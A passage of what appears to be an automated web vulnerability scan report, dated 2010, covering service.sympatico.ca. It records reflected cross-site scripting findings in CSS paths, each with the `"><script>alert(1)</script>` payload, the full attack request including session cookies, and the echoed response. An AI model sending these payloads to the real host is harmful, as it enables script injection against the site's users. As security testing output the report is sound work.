User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:00 GMT
Connection: close
Set-Cookie: SMSESSION=YL1ZPMbI6Ed8Gx6EknHkNFh+DjZIXBCFXr+KVU0CtISQpd9xp8+pmz3uaMcXvSMrwFXsun0aNQMPgwSg4NI35faT4HXPd/iBVrf1mEz7OmzXfMggICmhomQAo+X7LdcI0Ch7I6nphpwHQrQART2DZdpimY3akmXxcF1H53sBipSMTCWh6iftpUVAgGc/vohRFnLaZ3+KFQ7LPulfmzFoE3EboTvrHAAHis6HOK0OPdUlCeF25nLgJqCDN6lpwcwP0r/2A5fN0hKyJlpseeeS455aoitdT/nCOW+kim34K82mSTQkNC/yWQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:01 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:01 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:01 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:01 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:01 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:01 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ame="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/glossaryDefinition.css3cff3"><script>alert(1)</script>0ba1c881b16" />
...[SNIP]...

2.70. http://service.sympatico.ca/css/inputButtons.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/inputButtons.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e900"><script>alert(1)</script>5036ce86442 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css9e900"><script>alert(1)</script>5036ce86442/inputButtons.css HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:12 GMT
Connection: close
Set-Cookie: SMSESSION=+T7jejkVrU1YonmZMMYAfvQ662WZIr08M9/M0dMdMSXWmkx7vRCfeTSJdvvk6CgcqMIinw29QGlSoZi7XNCU4pQdJ7qF7oqPyQbfoEJw3xGq53z2K5ypOsbbM/0P5I1v64WnoYmxADvyxop6QeFtP2IJ3oozQVsK6IRQPZ5ArPRds205j0AYG5LqbNBUa9jD769LTUdTeH4ERe257zl0NOX/8gYQUam5OKdMuoinFgBdIJqt4QiRLw2NBpJX9LA39tcRFlSkIBPB59elMmXckpQBrZcU3vUJ6FM3YcoXIge1hXPQNEh++w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:12 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:12 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:12 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:12 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:12 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:12 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css9e900"><script>alert(1)</script>5036ce86442/inputButtons.css" />
...[SNIP]...

2.71. http://service.sympatico.ca/css/inputButtons.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/inputButtons.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 469ef"><script>alert(1)</script>08e5efdd30d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/inputButtons.css469ef"><script>alert(1)</script>08e5efdd30d HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:14 GMT
Connection: close
Set-Cookie: SMSESSION=6O7IYl8H92siCTGwpe10AR3g72YDP7V0uL3+/DPnpYnehjqSPh+kO4FXi1FwjvumEbuV/qm0SG34ygOxC4k0AM+WUlxJj7pRYrv6nl9ALIu2i/OqTcW30lavWcfFDCfvl/+GXvw5AxcE91TjLsQg0jtmBzQRGGapxrUYklkZfwK95F0kIv3PUxRMtebCC/rq77K+J+md/LN12XHKbtKVQLdE9uvzpX7mWBHeanphr1t4RbdCTfQtkrlr9KZ06PdZTp9c8f5ceQWtasdL0vhbAf74MdVRED9hqCndCtzXEaSJ78vncIvQUg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:14 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:14 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:14 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:14 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/inputButtons.css469ef"><script>alert(1)</script>08e5efdd30d" />
...[SNIP]...

2.72. http://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/jquery.autocomplete.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b28d"><script>alert(1)</script>d7f717df0cd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css2b28d"><script>alert(1)</script>d7f717df0cd/jquery.autocomplete.css HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
